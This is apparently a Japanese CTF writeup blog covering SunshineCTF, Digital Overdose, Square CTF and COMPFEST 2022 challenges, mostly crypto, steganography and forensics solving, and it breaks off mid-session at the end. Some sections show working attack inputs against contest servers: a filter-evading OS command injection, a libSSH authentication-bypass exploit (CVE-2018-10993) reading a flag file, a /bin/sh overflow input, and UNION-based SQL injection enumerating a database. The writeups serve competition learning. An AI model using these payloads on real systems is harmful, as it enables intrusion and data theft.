b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 1000000. What is it?"
[>] 266850
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 10000000. What is it?"
[>] 8679761
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 100000000. What is it?"
[>] 12886187
That's it!
Wow, did you hack into my brain? Great guessing! You'll be a CTF star in no time!
Here's a reward for you: sun{gu355y_ch4ll3ng35_4r3_my_f4v0r1t3!}
[*] Closed connection to sunshinectf.games port 22000
sun{gu355y_ch4ll3ng35_4r3_my_f4v0r1t3!}

Inspect Element (Web 50)

HTMLソースを見ると、こう書いてある部分がある。

<span style="color:white" text="sun{prepare_for_a_lawsuit}">Nothing to see here</span>
sun{prepare_for_a_lawsuit}

Network Pong (Web 100)

8.8.8.8と入力したら、以下のように表示された。

PING 8.8.8.8 (8.8.8.8): 56 data bytes
ping: permission denied (are you root?)

OSコマンドインジェクションができないか調べる。

・";"の場合

/bin/bash: -c: line 1: syntax error near unexpected token `}'
/bin/bash: -c: line 1: `{ping,-c,1,;}'

・"8.8.8.8};id;{"の場合
  
PING 8.8.8.8 (8.8.8.8): 56 data bytes
ping: permission denied (are you root?)
uid=100(unprivileged) gid=101(unprivileged) groups=101(unprivileged)
/bin/bash: line 1: {}: command not found

・"8.8.8.8};ls;{"の場合

PING 8.8.8.8 (8.8.8.8): 56 data bytes
ping: permission denied (are you root?)
Dockerfile
docker-entrypoint.sh
flag.txt
index.py
requirements.txt
templates
/bin/bash: line 1: {}: command not found

・"8.8.8.8};cat flag.txt;{"の場合

Error: Please only enter the IP or domain!

・"8.8.8.8};{cat,flag.txt};{"の場合

Error: Do not mention body parts, felines, or body parts of felines.

・"8.8.8.8};{tac,flag.txt};{"の場合

PING 8.8.8.8 (8.8.8.8): 56 data bytes
ping: permission denied (are you root?)
sun{pin9_pin9-pin9_f1@9_pin9}
/bin/bash: line 1: {}: command not found
sun{pin9_pin9-pin9_f1@9_pin9}

Exotic Bytes (Crypto 50)

まず、UTF-8で考える。

0xEA 0xB1 0xB3
0xEA 0xB1 0xB5
0xEA 0xB1 0xAE
0xEA 0xB1 0xBB

末尾を0x40引くと、以下のようになる。

>>> chr(0xb3-0x40)
's'
>>> chr(0xb5-0x40)
'u'
>>> chr(0xae-0x40)
'n'
>>> chr(0xbb-0x40)
'{'

真ん中のバイトが 0xB0 の場合にうまくいかない。今度はUTF-16で考える。

0xAC73
0xAC75
0xAC6E
0xAC7B
0xAC62
0xAC34
0xAC73
0xAC33
>>> chr(0x73)
's'
>>> chr(0x75)
'u'
>>> chr(0x6E)
'n'
>>> chr(0x7B)
'{'
>>> chr(0x62)
'b'
>>> chr(0x34)
'4'
>>> chr(0x73)
's'
>>> chr(0x33)
'3'

0xACを省けば、復号できそうなので、削除して復号する。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

enc = '걳걵걮걻걢갴걳갳걟갱갲갸걟갱갵걟걢갱건걟걲갳걭갴거거갱걮걧걽'.encode(encoding='utf-16-le')

flag = enc.replace(b'\xac', b'').decode()
print(flag)
sun{b4s3_128_15_b1t_r3m4pp1ng}

Digital Overdose 2022 Autumn CTF Writeup

この大会は2022/11/19 8:00(JST)~2022/11/21 8:00(JST)に開催されました。
今回もチームで参戦。結果は1675点で441チーム中41位でした。
自分で解けた問題をWriteupとして書いておきます。

th(REEEEEEEEEEEEEEE) (Misque 50)

ファイルを見ると、Gコードで3Dを表しているようだった。https://ncviewer.com/で読み込み、向きを色々変えると、フラグが現れた。

DOCTF{TH1S_CTF_N0W_1N_3D}

Zazu vs. Carl - 1 (OSINT - Zazu 50)

このエンブレムには、CHATEAU D'OEXと書いてある。また、列車の横や建物にMOBと書いてある。調べると、スイスのモントルー・オーベルラン・ベルノワ鉄道ということがわかる。この鉄道会社が見える駅は、Montreux。

DOCTF{montreux}

3 Seasshells (PWN 100)

$ nc 193.57.159.27 52777
SSH-2.0-libssh_0.8.1

Bye Bye

"SSH-2.0-libssh_0.8.1 vuln"で調べると、以下のエクスプロイトが見つかった。

CVE-2018-10993 libSSH authentication bypass exploit
https://gist.github.com/mgeeky/a7271536b1d815acfb8060fd8b65bd5d

このエクスプロイトでOSコマンドを実行し、フラグを読み取る。

$ python3 cve-2018-10993.py -p 52777 -c "cat /home/flag.txt" 193.57.159.27
/usr/lib/python3/dist-packages/paramiko/transport.py:236: CryptographyDeprecationWarning: Blowfish has been deprecated
  "class": algorithms.Blowfish,

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
DOCTF{Sh3cuR3_CH3Ll}
DOCTF{Sh3cuR3_CH3Ll}

Ye Auld-io (Audionography 50)

Audacityで開き、スペクトログラムを見ると、フラグを反転した文字列が見える。さらに「前後を反転」すると、フラグ文字列として読みやすい。

DOCTF{SM0L_SP3CTR0GR4M_1S_FUN}

Based pande (Steganography 50)

$ strings cutie.jpg -n 10
((((((((((((((((((((((((((((((((((((((((((((((((((
Xt$N7(J:aFh
B?hF6kU|K8H
 3v}J}[}pg8
 RE9DVEZ7UDRuRDNzTDBvazRGVDNSRTBGfQ==

base64文字列があるので、デコードする。

$ echo RE9DVEZ7UDRuRDNzTDBvazRGVDNSRTBGfQ== | base64 -d
DOCTF{P4nD3sL0ok4FT3RE0F}
DOCTF{P4nD3sL0ok4FT3RE0F}

It's hidden (Steganography 100)

Steganographyカテゴリのところに以下が書いてある。

It's hidden: '​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█'

このマスクのようなデータをcodes.txtとして保存する。このデータは、以下の2つの文字で構成されている。

b'\xe2\x80\x8b'
b'\xe2\x96\x88'

ほとんどの文字がb'\xe2\x96\x88'。b'\xe2\x80\x8b'がたまに出てくるので、これを区切り文字として、b'\xe2\x96\x88'の長さをASCIIコードとしてデコードする。

#!/usr/bin/env python3
with open('codes.txt', 'rb') as f:
    codes = f.read()

codes = codes.replace(b'\xe2\x80\x8b', b'A')
codes = codes.replace(b'\xe2\x96\x88', b',')

codes = codes.split(b',')

flag = ''
for code in codes:
    flag += chr(len(code))
print(flag)
DOCTF{UN3XP3CT3D_EMPTyN3S$}

Lightning Seeds (Cryptography 100)

seedの値は1000未満なので、ブルートフォースで復号する。

#!/usr/bin/env python
import random

with open('out.txt', 'r') as f:
    encrypted = f.read()

enc = bytes.fromhex(encrypted)

for seed in range(1000):
    random.seed(seed)
    flag = b''
    for c in enc:
        flag += bytes([c ^ random.randint(0, 255)])
    if flag.startswith(b'DOCTF{'):
        flag = flag.decode()
        print(flag)
        break
DOCTF{n0t_4s_r4nd0m_4s_y0u_th1nk!}

Numbers Station (Cryptography 50)

1始まりのアルファベットのインデックスとしてデコードする。

whata
weird
stati
on
DOCTF{whataweirdstation}

Nintendhash (Cryptography 150)

衝突しやすそうなので、nonceを0からブルートフォースで求める。

#!/usr/bin/env python3
import ninhash

message = b"To catch them is my real test. To train them is my cause."
digest = ninhash.Nintendhash(message)
for nonce in range(2**64):
    try_msg = message + nonce.to_bytes(8, byteorder='big')
    try_digest = ninhash.Nintendhash(try_msg)
    if try_digest == digest:
        flag = 'DOCTF{%d}' % nonce
        print(flag)
        break
DOCTF{135441}

The Rat (Cryptography 100)

DTMFが含まれているので、mp3をwavに変換した後、http://dialabc.com/sound/detect/index.htmlでデコードする。

00442896496852

"tel +44 28 9649 6852"で調べると、Northern Irelandの電話番号であることがわかる。

DOCTF{northern_ireland}

Essence of Symmetry (Cryptography 100)

暗号化処理の概要は以下の通り。

・m, n = 21, 22
・content: flag.txtの内容
・L: contentの前半
・R: contentの後半
・x = ""
・Lの長さだけ、以下繰り返し(i: インデックス)
 ・Rの各文字とmとのXOR文字列のi番目とLのi番目とのXORをxに連結
・y = R
・L, R = y, x
・x = ""
・Lの長さだけ、以下繰り返し(i: インデックス)
 ・Rの各文字とnとのXOR文字列のi番目とLのi番目とのXORをxに連結
・y = R
・ciphertext = x + y
 →cipher.txtに書き込み

逆算していけばよい。

#!/usr/bin/env python3
m, n = 21, 22

with open('cipher.txt', 'rb') as f:
    ciphertext = f.read()

l = len(ciphertext) // 2
x = ciphertext[:l]
y = ciphertext[l:]

R = y
L = b''
for i in range(l):
    L += bytes([(R[i] ^ n) ^ x[i]])

x, y = R, L
R = y
L = b''
for i in range(l):
    L += bytes([(R[i] ^ m) ^ x[i]])

flag = (L + R).decode()
print(flag)
DOCTF{1TS_4_F3I$TIV4L_0F_S0RT$}

Hacker's Gambit (Cryptography 50)

問題タイトルのGambitを調べてみると、チェスの位置を示すものが見つかった。

https://en.wikipedia.org/wiki/Mar%C3%B3czy_Gambit

開始位置を順に調べてみる。

c8: black bishop
f8: black bishop
h8: black rook
g8: black knight
d8: black queen
a8: black rook
b8: black knight
e8: black king

それぞれ先頭の文字をつなぐと、フラグになる。

DOCTF{BBRKQRKK}

This isn't bitrot (Cryptography 50)

換字式暗号と推測して、quipqiupで復号する。

WITHOUT TRAINING, THEY LACKED KNOWLEDGE. WITHOUT KNOWLEDGE, THEY LACKED CONFIDENCE. WITHOUT CONFIDENCE, THEY LACKED VICTORY. YOUR FLAG IS ROT DOES NOT A CRYPTO MAKE, IN LOWERCASE, WITH UNDERSCORES INSTEAD OF SPACES, SURROUNDED BY THE USUAL FLAG TAG AND OPEN AND CLOSED BRACKETS. ENJOY.

復号した説明通り、"ROT DOES NOT A CRYPTO MAKE"を小文字にし、スペースを_に置換し、通常のフラグのタグとブラケットを付ける。

DOCTF{rot_does_not_a_crypto_make}

Square CTF 2022 Writeup

この大会は2022/11/19 10:00(JST)~2022/11/20 10:10(JST)に開催されました。
今回もチームで参戦。結果は201点で593チーム中182位でした。
自分で解けた問題をWriteupとして書いておきます。

Pulse Check (pulse-check 1)

問題にフラグが書いてあった。

flag{im_alive_and_so_are_the_servers}

EZ pwn 1 (ez-pwn 50)

BOFで任意の8バイトの後に"/bin/sh"を入力すればよい。

$ nc chals.2022.squarectf.com 4100
Hi! would you like me to ls the current directory?
AAAAAAAA/bin/sh
Ok, here ya go!

ls -l
total 16
-r-xr-x--- 1 root pwnable_user 8528 Nov  6 21:09 ez-pwn-1
drwxr-xr-x 1 root pwnable_user 4096 Nov  9 04:49 the_flag_is_in_here
ls -l the_flag_is_in_here
total 4
-r--r----- 1 root pwnable_user 64 Nov  6 21:09 flag.txt
cat the_flag_is_in_here/flag.txt
flag{congrats_youve_exploited_a_memory_corruption_vulnerability}
flag{congrats_youve_exploited_a_memory_corruption_vulnerability}

EZ RE 1 (ez-re 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char *__s2;
  long in_FS_OFFSET;
  undefined local_15 [5];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts(
      "I\'ve got this encrypted blob, and a mysterious encrypt/decrypt function I was told its milit ary grade encryption so I don\'t think I can crack it. Would you happen to know the key?:"
      );
  read(0,local_15,5);
  puts("Alright, lets try that out...");
  __s2 = (char *)militaree_grayd_deekrypshun(local_15,flag_arr,5,0x3f);
  iVar1 = strncmp("flag{",__s2,5);
  if (iVar1 == 0) {
    puts("Hey, that looks right!");
    puts(__s2);
    puts(
        "There was also this weird other encrypted blob, but its so big that I don\'t want to touch  it. Feel free to decrypt it yourself though, i\'m pretty sure it uses the same key and algor ithm!\n"
        );
  }
  else {
    puts("No, that doesn\'t look right.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void militaree_grayd_deekrypshun
               (undefined8 param_1,undefined8 param_2,undefined4 param_3,undefined4 param_4)

{
  militaree_grayd_enkrypshun(param_1,param_2,param_3,param_4);
  return;
}

void * militaree_grayd_enkrypshun(long param_1,long param_2,int param_3,int param_4)

{
  void *pvVar1;
  int local_18;
  int local_14;
  
  pvVar1 = malloc((long)param_4);
  for (local_18 = 0; local_18 < param_4; local_18 = local_18 + param_3) {
    for (local_14 = 0; (local_14 < param_3 && (param_4 != local_14 + local_18));
        local_14 = local_14 + 1) {
      *(byte *)((long)pvVar1 + (long)(local_14 + local_18)) =
           *(byte *)(param_1 + local_14) ^ *(byte *)(param_2 + (local_14 + local_18));
    }
  }
  return pvVar1;
}

                             flag_arr                                        XREF[2]:     Entry Point(*), main:001008b1(*)  
        00301020 0a 03 0d        undefine
                 1f 1f 18 
                 07 09 27 
           00301020 0a              undefined10Ah                     [0]                               XREF[2]:     Entry Point(*), main:001008b1(*)  
           00301021 03              undefined103h                     [1]
           00301022 0d              undefined10Dh                     [2]
           00301023 1f              undefined11Fh                     [3]
           00301024 1f              undefined11Fh                     [4]
           00301025 18              undefined118h                     [5]
           00301026 07              undefined107h                     [6]
           00301027 09              undefined109h                     [7]
           00301028 27              undefined127h                     [8]
           00301029 02              undefined102h                     [9]
           0030102a 19              undefined119h                     [10]
           0030102b 01              undefined101h                     [11]
           0030102c 0f              undefined10Fh                     [12]
           0030102d 0c              undefined10Ch                     [13]
           0030102e 0d              undefined10Dh                     [14]
           0030102f 03              undefined103h                     [15]
           00301030 01              undefined101h                     [16]
           00301031 33              undefined133h                     [17]
           00301032 16              undefined116h                     [18]
           00301033 05              undefined105h                     [19]
           00301034 01              undefined101h                     [20]
           00301035 0a              undefined10Ah                     [21]
           00301036 1f              undefined11Fh                     [22]
           00301037 27              undefined127h                     [23]
           00301038 05              undefined105h                     [24]
           00301039 1e              undefined11Eh                     [25]
           0030103a 0a              undefined10Ah                     [26]
           0030103b 33              undefined133h                     [27]
           0030103c 19              undefined119h                     [28]
           0030103d 3b              undefined13Bh                     [29]
           0030103e 0f              undefined10Fh                     [30]
           0030103f 00              undefined100h                     [31]
           00301040 01              undefined101h                     [32]
           00301041 15              undefined115h                     [33]
           00301042 11              undefined111h                     [34]
           00301043 18              undefined118h                     [35]
           00301044 0e              undefined10Eh                     [36]
           00301045 18              undefined118h                     [37]
           00301046 11              undefined111h                     [38]
           00301047 12              undefined112h                     [39]
           00301048 09              undefined109h                     [40]
           00301049 30              undefined130h                     [41]
           0030104a 1c              undefined11Ch                     [42]
           0030104b 0a              undefined10Ah                     [43]
           0030104c 0b              undefined10Bh                     [44]
           0030104d 1c              undefined11Ch                     [45]
           0030104e 0a              undefined10Ah                     [46]
           0030104f 1e              undefined11Eh                     [47]
           00301050 0c              undefined10Ch                     [48]
           00301051 1d              undefined11Dh                     [49]
           00301052 33              undefined133h                     [50]
           00301053 05              undefined105h                     [51]
           00301054 03              undefined103h                     [52]
           00301055 13              undefined113h                     [53]
           00301056 01              undefined101h                     [54]
           00301057 33              undefined133h                     [55]
           00301058 08              undefined108h                     [56]
           00301059 09              undefined109h                     [57]
           0030105a 0c              undefined10Ch                     [58]
           0030105b 3b              undefined13Bh                     [59]
           0030105c 05              undefined105h                     [60]
           0030105d 1b              undefined11Bh                     [61]
           0030105e 11              undefined111h                     [62]
        0030105f 00              ??         00h

入力文字列とflag_arrのXORをした結果の最初の5文字が"flag{"になる入力文字列を指定すればよい。

#!/usr/bin/env python3

flag_arr = [0x0a, 0x03, 0x0d, 0x1f, 0x1f]
flag = b'flag{'

inp = ''
for i in range(5):
    inp += chr(flag[i] ^ flag_arr[i])
print(inp)

実行結果は以下の通り。

lolxd
$ ./ez-re-1_elf 
I've got this encrypted blob, and a mysterious encrypt/decrypt function I was told its military grade encryption so I don't think I can crack it. Would you happen to know the key?:
lolxd
Alright, lets try that out...
Hey, that looks right!
flag{the_function_names_are_a_commutative_property_joke_get_it}
There was also this weird other encrypted blob, but its so big that I don't want to touch it. Feel free to decrypt it yourself though, i'm pretty sure it uses the same key and algorithm!
flag{the_function_names_are_a_commutative_property_joke_get_it}

Alex Hanlon Has The Flag! (web 50)

SQLインジェクションを試す。いろいろとUsernameに入力していき、反応を見る。

・' or 1=1 #
 →Sorry, admin is the wrong user

・' union select 'alex' #
 →Sorry, alex is the wrong user

・' union select 'hanlon' #
 →Sorry, hanlon is the wrong user

・' union select schema_name from information_schema.schemata limit 0, 1 #
 →Sorry, information_schema is the wrong user

・' union select schema_name from information_schema.schemata limit 1, 1 #
 →Sorry, performance_schema is the wrong user

・' union select schema_name from information_schema.schemata limit 2, 1 #
 →Sorry, appdb is the wrong user

・' union select table_name from information_schema.tables where table_schema = 'appdb' limit 0, 1 #
 →Sorry, user is the wrong user

・' union select column_name from information_schema.columns where table_name = 'user' limit 0, 1 #
 →Sorry, password is the wrong user

・' union select column_name from information_schema.columns where table_name = 'user' limit 1, 1 #
 →Sorry, username is the wrong user

・' union select username from user limit 0, 1 #
 →Sorry, admin is the wrong user

・' union select username from user limit 1, 1 #
 →flag{470bbbc0519e4bc6987bb00bef24a97a}
flag{470bbbc0519e4bc6987bb00bef24a97a}

COMPFEST CTF 2022 Writeup

この大会は2022/11/13 2:00(JST)~2022/11/14 2:00(JST)に開催されました。
今回もチームで参戦。結果は1022点で205チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

問題にフラグが書いてあった。

COMPFEST14{Go0d_LucK_4nd_H4vE_FuN_8e53852062}

c0rR3ct10n (Forensics)

PNGフォーマットを逆転し、PNGシグネチャの逆転部分をJPGのヘッダの逆転部分にしたもののようなので、元に戻す。

#!/usr/bin/env python3
with open('lemaoo.png', 'rb') as f:
    data = f.read()

data = data[::-1]
data = b'\x89PNG\x0d' + data[5:]

with open('lemaoo_fix.png', 'wb') as f:
    f.write(data)


画像は白黒のものになっていて、8ビットで1つの文字になりそうなので、0, 1に置き換え、デコードする。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('lemaoo_fix.png').convert('L')
w, h = img.size

b = ''
for y in range(h):
    for x in range(w):
        white = img.getpixel((x, y))
        if white == 0:
            b += '0'
        else:
            b += '1'

msg = ''
for i in range(0, len(b), 8):
    msg += chr(int(b[i:i+8], 2))
print(msg)

デコード結果は以下の通り。

$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7$#!7https://tinyurl.com/m00nlander$#!7$#!7$#!7$#!7

この文字列の最後の方に以下のURLが埋め込まれている。

https://tinyurl.com/m00nlander

このURLにアクセスすると、m00n.jpgがダウンロードできる。ファイルフォーマットはpngが壊れている状態。シグネチャシグネチャとIENDチャンクを修復し、画像の幅と高さをブルートフォースで修復する。

#!/usr/bin/env python3
import struct
import binascii

with open('m00n.jpg', 'rb') as f:
    data = f.read()

data = b'\x89PNG\x0d\x0a' + data[6:-4] + b'\xae\x42\x60\x82'

head = data[:12]
tail = data[29:]

found = False
for h in range(1, 2048):
    for w in range(1, 2048):
        width = struct.pack('>I', w)
        height = struct.pack('>I', h)
        ihdr = data[12:16] + width + height + data[24:29]
        crc = struct.pack('!I', binascii.crc32(ihdr))
        if crc == data[29:33]:
            found = True
            out = head + ihdr + tail
            with open('m00n_fix.png', 'wb') as f:
                f.write(out)
            break
    if found:
        break

修復した画像をStegSolveで開き、Red plane 4を見ると、フラグが書いてあった。

COMPFEST14{hHhH_th0u_4re_c0Rr3ct!_634af16261}

Seems Familiar (Cryptography)

$ nc 13.212.50.63 11688
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 1
Sorry, the get_flag function is currently broken. Please try something else.
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 3
Sorry, the decrypt function is currently broken. Please try something else.
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 01 
ciphertext (in hex): 442a1735d39a53305034ba74eb55e0afe21e409460204df2de0a27cd35f4267db2a827ccc972fc5e44e55fdb7c413e306aa543695b8bf9549b7d9c8a80f3c457ed853e642bdd50432eb9fa3eca74b6678cf2ba2683f3b2df8c6386daa2d413421f982cbb9b1d7711509ac86efb60b383
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 01234567
ciphertext (in hex): 36b784caea6e47cda9789dcc4ea2ca2ed3833905172743e725463b44f619d6b49803afe8c2259c7e48a89e026b1fbf8084c35b182479744c533d2c5f83fba464f1216cc1545697cec4177e7364afa0dc7d78ad27d355b5c5f816d089fe4ee6613ef406130989ac3fcddcda5d020f657b
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 0123456789ab
ciphertext (in hex): 8da318a802fbfe408038290f7c0044a111df296ee4a9b98fc1bcd55398c1296d7c7a68eb0c82443db079efd8068dd937b4a8dccff6bb1429280310dcd19ba5050d1d6bb373d9e55599b034c1fa8a50c0ad589430c420707ceb69cd2df856b48f2d4410a310e0e22724eca54407b4a842
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 0123456789abcdef
ciphertext (in hex): 5fae2af342b436f5960c491aee2bce1f271beea4ec5a11008e99636a79dfcfc03df73c327244438dcd37a6de8afb26fd568df9b09ffad97821a2f744b8f9f865c8b8aa9a03f76aa860623cb12f71457fdcc6d3428471da4f715ed939d9632f1da973d0184612add316f2ac6ffede6299
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 0123456789abcdef0123
ciphertext (in hex): bbb38b54ef7f87872ecd3918efd4e550de4d6c9de2dd85b6a3f29dbea516b0a3b8f7f19f3aefde378a70b07b386c9ab0803918ce18eb90f81657ada4394ba195fceff5c1ef61da75564fcd7de2b9aa2adadd5496d09dfce3dc410440b167eb8992e6d0d1a6e8e4f53bd589712fc074bc
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 0123456789abcdef01234567
ciphertext (in hex): 7ed453a2f1dbe838c54b6cdf437bb2f3cb8ee75fbe2ac4ff6c25b734350abe4e92271bb74e90f3e1fecb27226e8435f21d7183c871d75949a4fdcecdbb0d804ff7d6b3d4f2eae8e141c7ff46df63c975d726f7008407fe831b7021ec9c50c68d31ec29e52d7e1d7430d8a3856602e099
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 0123456789abcdef0123456789ab
ciphertext (in hex): 5ccd969f2e70cbd0f8136874ec7c299d88f500f79976b1bf0d559d80ff3d63818f16d8027144485ac0048ed7e2d9845b06974b2332dfa59c86e68d648fdf3831b938c16fcb1191537be5a30672cdb0d9143430e69eb988302d5b6e02cead5ea497a1394817f38b7b37bc124ba0fa28a7
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 0123456789abcdef0123456789abcd
ciphertext (in hex): d08d6b104b9c6d8b39de04ad39d7d4753760b21d332aa554f193247ce8b80803e412243526544715a4178b7be31490b6f7937ca2404626b3e1cc903051210a96275353032c7c9f5887460f6ea1c89b0ed5b8b407db5d5e3e9ad20266939348cd0c812f0d51827a447479dfb1d1693fe2
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 0123456789abcdef0123456789abcdef
ciphertext (in hex): eeba4020a92f51ccb08f40230098e8c5066c6fdf5cc92ac89a988d55c087bbaeea46f1572482ba05ca7df9e37b0f51a89e20f8a65bce827356b4742c36d3a65fc2fd9a41f5b37df1a551d61051659f22c0f86f2315a772aa7b0d4b0765ce5069684bba6974f816298fb9a44f40579696
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 0123456789abcdef0123456789abcdef01
